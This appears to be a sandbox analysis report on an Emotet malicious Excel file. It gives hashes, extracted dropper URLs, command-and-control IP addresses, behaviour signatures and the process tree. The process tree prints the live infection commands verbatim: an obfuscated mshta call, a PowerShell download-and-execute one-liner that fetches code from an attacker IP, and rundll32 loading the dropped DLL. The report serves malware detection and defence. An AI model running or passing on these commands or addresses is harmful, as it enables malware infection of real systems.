emotet | 01c5650903200517df3a45801acd6712838f99e1157bcd4c4b5c7278a14ff997

General

Target

tmp5qh4u3zw.xls
Size

35KB
MD5

0d6fda87842d373f7851b252a94ebb13
SHA1

0000b8eac81e3dfb157d048c85908466b8e782dc
SHA256

01c5650903200517df3a45801acd6712838f99e1157bcd4c4b5c7278a14ff997
SHA512

b43f376e41b452bfd067e406e5404c04645cb6808d8d89d70b61e332526be4c326de07e4bddcbf21a69670e324c052ee3d1fec04294a15f612d3058c9c5c61f8

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3576	2748	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

27 1272 mshta.exe
37 3512 powershell.exe
41 3512 powershell.exe
43 3512 powershell.exe
55 2488 rundll32.exe
57 2488 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

904 rundll32.exe
960 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Amejhqnzurstbmzv\fwgsefzrxdp.imd rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

364 1272 WerFault.exe mshta.exe

flow	pid	process
27	1272	mshta.exe
37	3512	powershell.exe
41	3512	powershell.exe
43	3512	powershell.exe
55	2488	rundll32.exe
57	2488	rundll32.exe

pid	process
904	rundll32.exe
960	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Amejhqnzurstbmzv\fwgsefzrxdp.imd	rundll32.exe

pid	pid_target	process	target process
364	1272	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2748 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
364	WerFault.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
2488	rundll32.exe
2488	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 364 WerFault.exe
Token: SeDebugPrivilege 3512 powershell.exe

description	pid	process
Token: SeDebugPrivilege	364	WerFault.exe
Token: SeDebugPrivilege	3512	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE
2748	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2748 wrote to memory of 3576	2748	EXCEL.EXE	CMD.EXE
PID 2748 wrote to memory of 3576	2748	EXCEL.EXE	CMD.EXE
PID 3576 wrote to memory of 1272	3576	CMD.EXE	mshta.exe
PID 3576 wrote to memory of 1272	3576	CMD.EXE	mshta.exe
PID 1272 wrote to memory of 3512	1272	mshta.exe	powershell.exe
PID 1272 wrote to memory of 3512	1272	mshta.exe	powershell.exe
PID 3512 wrote to memory of 348	3512	powershell.exe	cmd.exe
PID 3512 wrote to memory of 348	3512	powershell.exe	cmd.exe
PID 348 wrote to memory of 904	348	cmd.exe	rundll32.exe
PID 348 wrote to memory of 904	348	cmd.exe	rundll32.exe
PID 348 wrote to memory of 904	348	cmd.exe	rundll32.exe
PID 904 wrote to memory of 960	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 960	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 960	904	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 692	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 692	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 692	960	rundll32.exe	rundll32.exe
PID 692 wrote to memory of 2488	692	rundll32.exe	rundll32.exe
PID 692 wrote to memory of 2488	692	rundll32.exe	rundll32.exe
PID 692 wrote to memory of 2488	692	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp5qh4u3zw.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2748

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3576

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3512

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:348

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Amejhqnzurstbmzv\fwgsefzrxdp.imd",kGXMh
8⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Amejhqnzurstbmzv\fwgsefzrxdp.imd",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2488

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1272 -s 1764
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:364

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/692-634-0x0000000004E80000-0x0000000004EA7000-memory.dmp

Filesize
156KB

Download
memory/904-617-0x0000000004080000-0x00000000040A7000-memory.dmp

Filesize
156KB

Download
memory/960-629-0x0000000004F70000-0x0000000004F97000-memory.dmp

Filesize
156KB

Download
memory/960-620-0x0000000004660000-0x0000000004687000-memory.dmp

Filesize
156KB

Download
memory/960-633-0x0000000005170000-0x0000000005197000-memory.dmp

Filesize
156KB

Download
memory/960-631-0x0000000004FD0000-0x0000000004FF7000-memory.dmp

Filesize
156KB

Download
memory/960-627-0x0000000004F10000-0x0000000004F37000-memory.dmp

Filesize
156KB

Download
memory/960-625-0x0000000004DB0000-0x0000000004DD7000-memory.dmp

Filesize
156KB

Download
memory/960-623-0x0000000004CD0000-0x0000000004CF7000-memory.dmp

Filesize
156KB

Download
memory/2748-118-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-886-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-124-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-121-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-120-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-889-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-888-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-887-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/2748-131-0x00007FF9D3640000-0x00007FF9D3650000-memory.dmp

Filesize
64KB

Download
memory/2748-132-0x00007FF9D3640000-0x00007FF9D3650000-memory.dmp

Filesize
64KB

Download
memory/2748-119-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp

Filesize
64KB

Download
memory/3512-322-0x000001B96EF80000-0x000001B96EFB0000-memory.dmp

Filesize
192KB

Download
memory/3512-295-0x000001B970D00000-0x000001B970D22000-memory.dmp

Filesize
136KB

Download
memory/3512-323-0x000001B96EF80000-0x000001B96EFB0000-memory.dmp

Filesize
192KB

Download
memory/3512-365-0x000001B970E80000-0x000001B970EBC000-memory.dmp

Filesize
240KB

Download
memory/3512-423-0x000001B971380000-0x000001B9713F6000-memory.dmp

Filesize
472KB

Download
memory/3512-524-0x000001B96EF80000-0x000001B96EFB0000-memory.dmp

Filesize
192KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads